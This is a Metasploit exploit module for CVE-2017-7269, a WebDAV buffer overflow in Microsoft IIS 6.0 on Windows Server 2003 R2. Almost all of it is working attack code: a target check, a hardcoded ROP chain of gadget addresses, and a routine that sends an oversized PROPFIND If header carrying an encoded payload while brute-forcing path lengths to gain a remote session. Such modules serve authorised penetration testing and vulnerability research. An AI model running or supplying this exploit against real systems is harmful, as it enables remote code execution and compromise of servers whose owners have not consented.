##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft IIS WebDav ScStoragePathFromUrl Overflow',
        'Description' => %q{
          Buffer overflow in the ScStoragePathFromUrl function
          in the WebDAV service in Internet Information Services (IIS) 6.0
          in Microsoft Windows Server 2003 R2 allows remote attackers to
          execute arbitrary code via a long header beginning with
          "If: <http://" in a PROPFIND request, as exploited in the
          wild in July or August 2016.

          Original exploit by Zhiniang Peng and Chen Wu.
        },
        'Author' => [
          'Zhiniang Peng', # Original author
          'Chen Wu', # Original author
          'Dominic Chell <dominic@mdsec.co.uk>', # metasploit module
          'firefart', # metasploit module
          'zcgonvh <zcgonvh@qq.com>', # metasploit module
          'Rich Whitcroft', # metasploit module
          'Lincoln' # minor updates to metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2017-7269' ],
          [ 'BID', '97127' ],
          [ 'URL', 'https://github.com/edwardz246003/IIS_exploit' ],
          [ 'URL', 'https://0patch.blogspot.com/2017/03/0patching-immortal-cve-2017-7269.html' ]
        ],
        'Privileged' => false,
        'Payload' => {
          'Space' => 2000,
          'BadChars' => "\x00",
          'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed,
          'DisableNops' => true,
          'EncoderOptions' =>
                    {
                      'BufferRegister' => 'ESI',
                    }
        },
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
          'PrependMigrate' => true,
        },
        'Targets' => [
          [
            'Microsoft Windows Server 2003 R2 SP2 x86',
            {
              'Platform' => 'win',
              'Arch' => ARCH_X86
            },
          ],
        ],
        'Platform' => 'win',
        'DisclosureDate' => '2017-03-26',
        'DefaultTarget' => 0,
        'Notes' => {
          'AKA' => ['EXPLODINGCAN'],
          'Stability' => [CRASH_SERVICE_DOWN],
          'Reliability' => [REPEATABLE_SESSION],
          'Side Effects' => [],
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [ true, 'Path of IIS 6 web application', '/']),
        OptInt.new('MINPATHLENGTH', [ true, 'Start of physical path brute force', 3 ]),
        OptInt.new('MAXPATHLENGTH', [ true, 'End of physical path brute force', 60 ]),
      ]
    )
  end

  def min_path_len
    datastore['MINPATHLENGTH']
  end

  def max_path_len
    datastore['MAXPATHLENGTH']
  end

  def supports_webdav?(headers)
    if headers['MS-Author-Via'] == 'DAV' ||
       headers['DASL'] == '<DAV:sql>' ||
       headers['DAV'] =~ /^[1-9]+(,\s+[1-9]+)?$/ ||
       headers['Public'].to_s.include?('PROPFIND') ||
       headers['Allow'].to_s.include?('PROPFIND')
      return true
    end

    false
  end

  def check
    res = send_request_cgi({
      'uri' => target_uri.path,
      'method' => 'OPTIONS'
    })

    unless res
      vprint_error 'Connection failed'
      return Exploit::CheckCode::Unknown
    end

    unless supports_webdav? res.headers
      vprint_status 'Server does not support WebDAV'
      return CheckCode::Safe
    end

    if res.headers['Server'].to_s.include? 'IIS/6.0'
      return CheckCode::Vulnerable
    end

    CheckCode::Detected
  end

  # corelan.be
  # rop chain generated with mona.py
  def create_rop_chain
    [
      # MSVCRT.dll - all Windows 2003
      0x77bcb06c, # POP ESI # RETN
      0x77bef001, # Write pointer # Garbage
      0x77bb2563, # POP EAX # RETN
      0x77ba1114, # <- *&VirtualProtect()
      0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
      0x41414141, # junk
      0x77bbee22, # XCHG EAX,ESI # ADD BYTE PTR DS:[EAX],AL # RETN
      0x77bc9801, # POP EBP # RETN
      0x77be2265, # ptr to 'push esp #  ret'
      0x77bb2563, # POP EAX # RETN
      0x03C0946F,
      0x77bdd441, # SUB EAX, 03c0940f  (dwSize, 0x500 -> ebx)
      0x77bb48d3, # POP EBX, RET
      0x77bf21e0, # .data
      0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
      0x77bbfc02, # POP ECX # RETN
      0x77bef001, # W pointer (lpOldProtect) (-> ecx)
      0x77bd8c04, # POP EDI # RETN
      0x77bd8c05, # ROP NOP (-> edi)
      0x77bb2563, # POP EAX # RETN
      0x03c0944f,
      0x77bdd441, # SUB EAX, 03c0940f
      0x77bb8285, # XCHG EAX,EDX # RETN
      0x77bb2563, # POP EAX # RETN
      0x90909090, # nop
      0x77be6591, # PUSHAD # ADD AL,0EF # RETN
    ].pack("V*")
  end

  # encode string as UTF-8 char format that when converted to UTF-16LE
  # will represent chars we want in memory
  def utf_encode_str(str)
    str.force_encoding('UTF-16LE').encode('UTF-8')
  end

  # filler chars to be encoded
  def make_junk(len)
    utf_encode_str rand_text_alpha(len)
  end

  def exploit
    # extract the local servername and port from a PROPFIND request
    # these need to be the values from the backend server
    # if testing a reverse proxy setup, these values differ
    # from RHOST and RPORT but can be extracted this way
    vprint_status('Extracting ServerName and Port')
    res = send_request_raw(
      'method' => 'PROPFIND',
      'headers' => {
        'Content-Length' => 0
      },
      'uri' => target_uri.path
    )
    fail_with(Failure::BadConfig, 'Server did not respond correctly to WebDAV request') if (res.nil? || res.code != 207)

    xml = res.get_xml_document
    url = URI.parse(xml.at("//a:response//a:href").text)
    server_name = url.hostname
    server_port = url.port
    server_scheme = url.scheme

    http_host = "#{server_scheme}://#{server_name}:#{server_port}"
    vprint_status("Using http_host #{http_host}")

    print_status "Trying path length #{min_path_len} to #{max_path_len} ..."

    min_path_len.upto(max_path_len) do |path_len|
      vprint_status("Trying path length of #{path_len}...")

      begin
        buf1 = "<#{http_host}/"
        buf1 << rand_text_alpha(114 - path_len)
        buf1 << make_junk(32)
        # survive SHR instruction 0x02020202
        buf1 << utf_encode_str([0x02020202].pack('V'))
        # str pointer to .data httpext.dll # ebp-328 # used in wcslen calculation
        buf1 << utf_encode_str([0x680312c0].pack('V'))
        buf1 << make_junk(40)
        # 0x680313c0 -> destination pointer used with memcpy
        buf1 << utf_encode_str([0x680313c0].pack('V'))
        buf1 << ">"
        buf1 << " (Not <locktoken:write1>) <#{http_host}/"
        buf1 << rand_text_alpha(114 - path_len)
        buf1 << make_junk(28)
        # 0x680313c0  -> pointer to call itself at same address for vtable call
        buf1 << utf_encode_str([0x680313c0].pack('V'))
        # ROP 2 gadget -> advance ESP past previous instructions to start of ROP chain
        # msvct.dll 0x77bdf38d # ADD ESP,1C # POP ECX # POP EBX # POP EAX # RETN
        buf1 << utf_encode_str([0x77bdf38d].pack('V'))
        buf1 << make_junk(8)
        # 0x680313c0 -> vtable pointer passed to EAX for call [eax +24]
        # point to itself at [eax]
        buf1 << utf_encode_str([0x680313c0].pack('V'))
        buf1 << make_junk(16)
        # ROP 1 gadget -> 0x68016082 stack flip get ECX into ESP and push EAX
        # which also points to new ESP
        buf1 << utf_encode_str([0x68016082].pack('V'))
        buf1 << utf_encode_str(create_rop_chain)
        # GetPC # push esp; pop esi; add esi, 10
        buf1 << utf_encode_str("\x54\x5e\x83\xc6")
        # GetPC ESI +10 plus encode alignment
        buf1 << utf_encode_str("\x0a\x41")
        buf1 << payload.encoded
        buf1 << ">"

        vprint_status 'Sending payload'
        res = send_request_raw(
          'method' => 'PROPFIND',
          'uri' => target_uri.path,
          'headers' => {
            'Content-Length' => 0,
            'If' => "#{buf1}"
          }
        )
        next unless res

        vprint_status("Server returned status #{res.code}")
        next if res.code == 502 || res.code == 400

        return if session_created?

        vprint_status("Unknown Response: #{res.code}")
      rescue ::Errno::ECONNRESET
        vprint_status('got a connection reset')
        next
      end
    end
  end
end
